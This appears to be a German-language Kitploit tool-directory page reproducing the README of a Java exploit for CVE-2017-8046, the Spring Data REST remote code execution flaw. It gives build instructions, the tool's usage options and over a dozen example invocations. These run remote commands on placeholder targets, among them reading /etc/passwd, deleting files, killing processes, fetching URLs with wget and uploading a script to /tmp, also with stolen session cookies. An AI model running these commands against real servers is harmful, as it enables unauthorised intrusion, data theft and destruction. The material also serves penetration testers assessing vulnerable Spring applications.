Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
spring-break_cve-2017-8046 — Dies ist ein Java-Programm, das die Spring-Break-Sicherheitslücke (CVE-2017-8046) ausnutzt. | Kitploit
Tools/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

Dies ist ein Java-Programm, das die Spring-Break-Sicherheitslücke (CVE-2017-8046) ausnutzt.

Repository anzeigen
17111vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

spring-break_cve-2017-8046

Dies ist ein Java-Programm, das die Spring Break-Sicherheitslücke (CVE-2017-8046) ausnutzt.

Diese Software wurde mit möglichst wenigen externen Abhängigkeiten geschrieben.

HAFTUNGSAUSSCHLUSS

Dieses Tool ist für Sicherheitsingenieure und AppSec-Leute für Sicherheitsbewertungen gedacht. Bitte verwenden Sie dieses Tool verantwortungsvoll. Ich übernehme keine Verantwortung für die Art und Weise, wie jemand diese Anwendung nutzt. Ich bin NICHT verantwortlich für Schäden, die durch die Nutzung dieses Tools verursacht werden, oder für Straftaten, die mit diesem Tool begangen werden.

Informationen zur Sicherheitslücke

  • CVE-ID: CVE-2017-8046
  • Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • Beschreibung: Bösartige PATCH-Anfragen, die an spring-data-rest-Server gesendet werden, in Pivotal Spring Data REST Versionen vor 2.5.12, 2.6.7, 3.0 RC3, Spring Boot Versionen vor 2.0.0M4 und Spring Data Release-Trains vor Kay-RC3 können mit speziell konstruierten JSON-Daten beliebigen Java-Code ausführen.
  • Herstellerlink: https://pivotal.io/security/cve-2017-8046

So erstellen Sie eine ausführbare JAR-Datei

Hier sind einige Schritte, um eine ausführbare JAR-Datei mit allen Abhängigkeiten zu erstellen, die zum Starten des Exploits verwendet werden kann.

mit Maven

Der folgende Maven-Befehl kann ausgeführt werden:

root@kitploit:~
mvn clean compile package

mit Eclipse

Folgende Schritte sind durchzuführen:

  1. Alle externen Abhängigkeiten/Bibliotheken auflösen;
  2. Rechtsklick auf das Eclipse-Projekt und gehen Sie zu Run As > Run Configurations;
  3. Rechtsklick auf Java Application dann auf New;
  4. Wählen Sie einen Namen und setzen Sie die Hauptklasse auf com.afs.exploit.spring.SpringBreakCve20178046;
  5. Klicken Sie auf die Schaltfläche Apply;
  6. Schließen Sie das Fenster und gehen Sie zurück zum Haupt-Eclipse-Fenster;
  7. Rechtsklick auf das Eclipse-Projekt und klicken Sie auf Export...;
  8. Suchen und wählen Sie Runnable JAR file (unter dem Zweig Java);
  9. Im folgenden Fenster:
    1. Wählen Sie die zuvor erstellte korrekte Launch configuration;
    2. Wählen Sie ein Export destination;
    3. Wählen Sie die Option Extract required libraries into generated JAR;
    4. Klicken Sie auf die Schaltfläche Finish.

Hilfe

root@kitploit:~
Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

Beispiele

root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

Bitte beachten Sie, dass die referenzierte Ressource/URL existieren muss!

Verwundbare Anwendung

Eine verwundbare Anwendung finden Sie hier.

Autoren

  • Antonio Francesco Sardella - Hauptimplementierung - m3ssap0
  • Yassine Tioual - HTTP-Header-Erweiterung - nisay759
  • Robin Wagenaar - für den Vorschlag, die Patch-Operation 'remove' anstelle von 'replace' zu verwenden, und für die Datei-Upload-Funktionalität - RobinWagenaar

Lizenz

Dieses Projekt ist unter der Apache License Version 2.0 lizenziert – siehe Datei LICENSE.txt für Details.

Danksagungen

  • Man Yue Mo der Sicherheitsforscher, der die Schwachstelle entdeckt hat
Tool herunterladen